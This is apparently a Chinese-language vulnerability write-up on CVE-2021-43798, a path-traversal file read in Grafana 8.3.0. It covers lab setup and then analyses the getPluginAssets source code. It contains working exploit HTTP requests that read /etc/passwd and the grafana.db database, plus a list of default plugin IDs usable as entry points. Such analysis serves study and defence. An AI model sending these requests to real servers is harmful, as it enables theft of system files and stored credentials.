CVE-2021-43798 grafana 任意文件读取 分析
环境搭建
https://dl.grafana.com/enterprise/release/grafana-enterprise-8.3.0.linux-amd64.tar.gz tar zxvf grafana-enterprise-8.3.0.linux-amd64.tar.gz cd grafana-8.3.0/ ./bin/grafana-server Grafana server is running with elevated privileges. This is not recommended WARN[12-07|16:31:59] falling back to legacy setting of 'min_interval_seconds'; please use the configuration option in the `unified_alerting` section if Grafana 8 alerts are enabled. logger=settings INFO[12-07|16:31:59] Config loaded from logger=settings file=/tools/OneForAll-master/grafana-8.3.0/conf/defaults.ini INFO[12-07|16:31:59] Path Home logger=settings path=/tools/OneForAll-master/grafana-8.3.0 INFO[12-07|16:31:59] Path Data logger=settings path=/tools/OneForAll-master/grafana-8.3.0/data INFO[12-07|16:31:59] Path Logs logger=settings path=/tools/OneForAll-master/grafana-8.3.0/data/log INFO[12-07|16:31:59] Path Plugins logger=settings path=/tools/OneForAll-master/grafana-8.3.0/data/plugins INFO[12-07|16:31:59] Path Provisioning logger=settings path=/tools/OneForAll-master/grafana-8.3.0/conf/provisioning INFO[12-07|16:31:59] App mode production logger=settings INFO[12-07|16:31:59] Connecting to DB logger=sqlstore dbtype=sqlite3 INFO[12-07|16:31:59] Starting DB migrations logger=migrator INFO[12-07|16:31:59] migrations completed logger=migrator performed=0 skipped=438 duration=1.268445ms INFO[12-07|16:31:59] Validated license token logger=licensing appURL=http://localhost:3000/ source=disk status=NotFound INFO[12-07|16:31:59] Initialising plugins logger=plugin.manager INFO[12-07|16:31:59] Plugin registered logger=plugin.manager pluginId=input INFO[12-07|16:31:59] Live Push Gateway initialization logger=live.push_http WARN[12-07|16:31:59] Scheduling and sending of reports disabled, SMTP is not configured and enabled. Configure SMTP to enable. logger=report INFO[12-07|16:31:59] HTTP Server Listen logger=http.server address=[::]:3000 protocol=http subUrl= socket=
默认启动的是3000 端口
访问即可
EXP:
GET /public/plugins/prometheus/../../../../../../../../../etc/passwd HTTP/1.1 Host: 192.168.1.72:3000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
读取数据库文件
GET /public/plugins/mssql/../../../../../data/grafana.db HTTP/1.1 Host: 192.168.1.72:3000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
默认20个插件
alertmanager cloud-monitoring cloudwatch dashboard elasticsearch grafana grafana-azure-monitor-datasource graphite influxdb jaeger loki mixed mssql mysql opentsdb postgres prometheus tempo testdata zipkin
下载源码
https://codeload.github.com/grafana/grafana/zip/refs/tags/v8.3.0
找到api.go
func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) { pluginID := web.Params(c.Req)[":pluginId"] plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID) if !exists { c.JsonApiErr(404, "Plugin not found", nil) return } requestedFile := filepath.Clean(web.Params(c.Req)["*"]) pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile) if !plugin.IncludedInSignature(requestedFile) { hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+ "is not included in the plugin signature", "file", requestedFile) } // It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently // use this with a prefix of the plugin's directory, which is set during plugin loading // nolint:gosec f, err := os.Open(pluginFilePath) if err != nil { if os.IsNotExist(err) { c.JsonApiErr(404, "Plugin file not found", err) return } c.JsonApiErr(500, "Could not open plugin file", err) return } defer func() { if err := f.Close(); err != nil { hs.log.Error("Failed to close file", "err", err) } }() fi, err := f.Stat() if err != nil { c.JsonApiErr(500, "Plugin file exists but could not open", err) return } if hs.Cfg.Env == setting.Dev { c.Resp.Header().Set("Cache-Control", "max-age=0, must-revalidate, no-cache") } else { c.Resp.Header().Set("Cache-Control", "public, max-age=3600") } http.ServeContent(c.Resp, c.Req, pluginFilePath, fi.ModTime(), f) }
hs.pluginStore.Plugin
func (m *PluginManager) Plugin(_ context.Context, pluginID string) (plugins.PluginDTO, bool) { p, exists := m.plugin(pluginID) if !exists { return plugins.PluginDTO{}, false } return p.ToDTO(), true }
如果存在返回了一个结构体变量
func (p *Plugin) ToDTO() PluginDTO { c, _ := p.Client() return PluginDTO{ JSONData: p.JSONData, PluginDir: p.PluginDir, Class: p.Class, IncludedInAppID: p.IncludedInAppID, DefaultNavURL: p.DefaultNavURL, Pinned: p.Pinned, Signature: p.Signature, SignatureType: p.SignatureType, SignatureOrg: p.SignatureOrg, SignedFiles: p.SignedFiles, SignatureError: p.SignatureError, GrafanaComVersion: p.GrafanaComVersion, GrafanaComHasUpdate: p.GrafanaComHasUpdate, Module: p.Module, BaseURL: p.BaseURL, StreamHandler: c, } }
requestedFile := filepath.Clean(web.Params(c.Req)["*"]) pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
拼接了一下目录和文件名后面就是读取文件和返回了
如上通过url取的pluginID 进入到判断插件是否存在。然后读取到文件进行返回
怎么感觉像是读取插件的静态文件呢。
看了一下描述。就是这样子的
插件初始化
func (m *PluginManager) init() error { // create external plugin's path if not exists exists, err := fs.Exists(m.cfg.PluginsPath) if err != nil { return err } if !exists { if err = os.MkdirAll(m.cfg.PluginsPath, os.ModePerm); err != nil { m.log.Error("Failed to create external plugins directory", "dir", m.cfg.PluginsPath, "error", err) } else { m.log.Debug("External plugins directory created", "dir", m.cfg.PluginsPath) } } m.log.Info("Initialising plugins") // install Core plugins err = m.loadPlugins(m.corePluginPaths()...) if err != nil { return err } // install Bundled plugins err = m.loadPlugins(m.cfg.BundledPluginsPath) if err != nil { return err } // install External plugins err = m.loadPlugins(m.cfg.PluginsPath) if err != nil { return err } // install plugins from cfg.PluginSettings err = m.loadPlugins(m.pluginSettingPaths()...) if err != nil { return err } return nil }
// corePluginPaths provides a list of the Core plugin paths which need to be scanned on init() func (m *PluginManager) corePluginPaths() []string { datasourcePaths := []string{ filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/alertmanager"), filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/dashboard"), filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/jaeger"), filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/mixed"), filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/zipkin"), } panelsPath := filepath.Join(m.cfg.StaticRootPath, "app/plugins/panel") return append(datasourcePaths, panelsPath) }
┌─[root@www]─[/tools/OneForAll-master/grafana-8.3.0/public/app/plugins/panel] └──╼ #ll total 12 drwxr-xr-x 3 root root 181 Nov 30 23:43 alertGroups drwxr-xr-x 3 root root 254 Nov 30 23:43 alertlist drwxr-xr-x 3 root root 206 Nov 30 23:43 annolist drwxr-xr-x 4 root root 285 Nov 30 23:43 barchart drwxr-xr-x 3 root root 245 Nov 30 23:43 bargauge drwxr-xr-x 3 root root 215 Nov 30 23:43 candlestick drwxr-xr-x 4 root root 163 Nov 30 23:43 canvas drwxr-xr-x 3 root root 163 Nov 30 23:43 dashlist drwxr-xr-x 3 root root 206 Nov 30 23:43 debug drwxr-xr-x 4 root root 210 Nov 30 23:43 gauge drwxr-xr-x 9 root root 325 Nov 30 23:43 geomap drwxr-xr-x 4 root root 146 Nov 30 23:43 gettingstarted drwxr-xr-x 5 root root 4096 Nov 30 23:43 graph drwxr-xr-x 5 root root 328 Nov 30 23:43 heatmap drwxr-xr-x 3 root root 156 Nov 30 23:43 histogram drwxr-xr-x 3 root root 113 Nov 30 23:43 icon drwxr-xr-x 3 root root 120 Nov 30 23:43 live drwxr-xr-x 3 root root 139 Nov 30 23:43 logs drwxr-xr-x 3 root root 218 Nov 30 23:43 news drwxr-xr-x 4 root root 4096 Nov 30 23:43 nodeGraph drwxr-xr-x 3 root root 200 Nov 30 23:43 piechart drwxr-xr-x 4 root root 111 Nov 30 23:43 pluginlist drwxr-xr-x 3 root root 203 Nov 30 23:43 stat drwxr-xr-x 4 root root 321 Nov 30 23:43 state-timeline drwxr-xr-x 3 root root 140 Nov 30 23:43 status-history drwxr-xr-x 4 root root 239 Nov 30 23:43 table drwxr-xr-x 4 root root 248 Nov 30 23:43 table-old drwxr-xr-x 3 root root 235 Nov 30 23:43 text drwxr-xr-x 6 root root 4096 Nov 30 23:43 timeseries drwxr-xr-x 3 root root 89 Nov 30 23:43 welcome drwxr-xr-x 3 root root 280 Nov 30 23:43 xychart
如上这些目录也是可以用的